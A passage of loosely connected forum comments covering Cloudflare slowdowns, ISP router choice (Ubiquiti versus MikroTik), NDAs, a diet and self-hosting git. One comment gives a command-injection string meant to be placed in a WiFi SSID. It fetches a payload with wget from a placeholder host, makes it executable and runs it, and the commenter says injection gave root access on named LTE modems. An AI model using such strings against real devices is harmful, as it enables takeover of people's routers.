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I haven't yet run into this limit...
At first when I noticed timeouts and slow response, I assumed it was due to my connection or my server. However, after checking on apache, it seems some requests aren't going through at all.
I checked the CF status page at the time, there wasn't this notice, but now there is. I hope this gets resolved soon.
Not to mention Big Tech got its start in the USA before the EU existed.
If the CPE is sufficiently poorly designed, it might be vulnerable to command injection attacks, so by changing the WiFi SSID to something like "'; wget http://bla/payload -O /tmp/bla; chmod +x /tmp/bla; /tmp/bla; #" you could execute a command on the device.
Alcatel's HH40V and HH41V as well as ZTE MF283+ LTE modems are a recent example I can remember where I got root SSH access by injecting commands from the admin WebUI.
It seems that standard practice would dictate that you sign an NDA before even signing the employment contract.
However, there is only a limited "Quick Settings" option, which supports most basic configurations. For anything more advanced, you do actually have to set it up yourself.
However, the problem with recommending Ubiquiti in the context of an ISP, is that once you hit a wall with it, you are done. You cannot change things that are not supported to be changed, you cannot make it do something it was not "designed" to do.
On Ubiquiti, you can ssh into the VyOS-derived OS on the EdgeRouter (if talking about EdgeOS), but anything you do there cannot be accessed from the webui anymore, and changing anything in the webui will of course destroy what you changed manually over SSH.
At that point, you have an offbrand Linux router that is hindering you, and you either go with MikroTik or upgrade to Cisco equipment. But that Ubiquiti is going on a shelf.
In general, it's quite different running an ISP and running a homelab.
With MikroTik, you can make ANYTHING and everything. And there is no paywall for additional features like some vendors.
Finally, to underline my point, it is required to learn MikroTik's RouterOS before starting an ISP, if you don't want to end up with problems.
So, my diet plan was - eat less. And of that which I eat, avoid sugar like poison and avoid carbohydrates as much as possible, while still having at least some daily intake split between meals.
And regular blood tests and monitoring by doctors (endocrinologist, GP, cardiologist).
And I need it right now.
Guess I'll be setting up a local git instance very soon...
edit: by local I meant in the intranet. not on my local machine.